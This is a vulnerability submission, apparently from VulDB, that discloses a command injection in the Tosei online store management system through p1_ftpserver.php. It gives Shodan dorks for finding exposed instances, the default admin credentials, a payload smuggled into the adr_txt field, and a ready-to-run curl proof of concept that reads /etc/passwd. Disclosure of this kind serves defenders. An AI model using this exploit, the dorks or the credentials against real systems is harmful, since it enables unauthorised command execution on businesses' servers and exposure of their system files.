Submit #387131: Tosei Corporation TOSEI online store management system (aka TOSEIネット店舗管理システム) 4.02/4.03/4.04 Command Injection

Vendor:
Tosei Corporation (https://www.tosei-corporation.co.jp/)

Product:
TOSEI online store management system (aka TOSEIネット店舗管理システム)

Product documentation:
https://www.tosei-corporation.co.jp/pdf/manual/cl_current/OP_THS-300-WEB.pdf

Version:
4.02/4.03/4.04

Shodan Dorks:
http.favicon.hash:-244067125 http.html:Tosei

Class:
Remote Code Exection

Impact:
Command injection vulnerability allows authenticated attackers execute commands by bypassing internal restrictions through p1_ftpserver.php.

Attack vector:
||cat${IFS}/etc/passwd||

Poc:
The default admin username and password are known to be "contecfws01".
curl -H "Authorization: Basic Y29udGVjZndzMDE6Y29udGVjZndzMDE=" "http://xxx/cgi-bin/p1_ftpserver.php?adr_txt=%7C%7Ccat%24%7BIFS%7D%2Fetc%2Fpasswd%7C%7C&port_txt=0&usr_txt=0&pas_txt=0&dir_txt=0&update=%83e%83X%83g%91%97%90M"

Discoverer:
b0rgch3n (https://github.com/b0rgch3n)

• Source: ⚠️ https://gist.github.com/b0rgch3n/4788c7c429d49095915d84161a157295
• User: b0rgch3n (UID 72796)
• Submission: 08/07/2024 05:37 (2 years ago)
• Moderation: 08/16/2024 22:45 (10 days later)
• Status: Accepted
• VulDB entry: 274904 [Tosei Online Store Management System ネット店舗管理システム p1_ftpserver.php command injection]
• Points: 20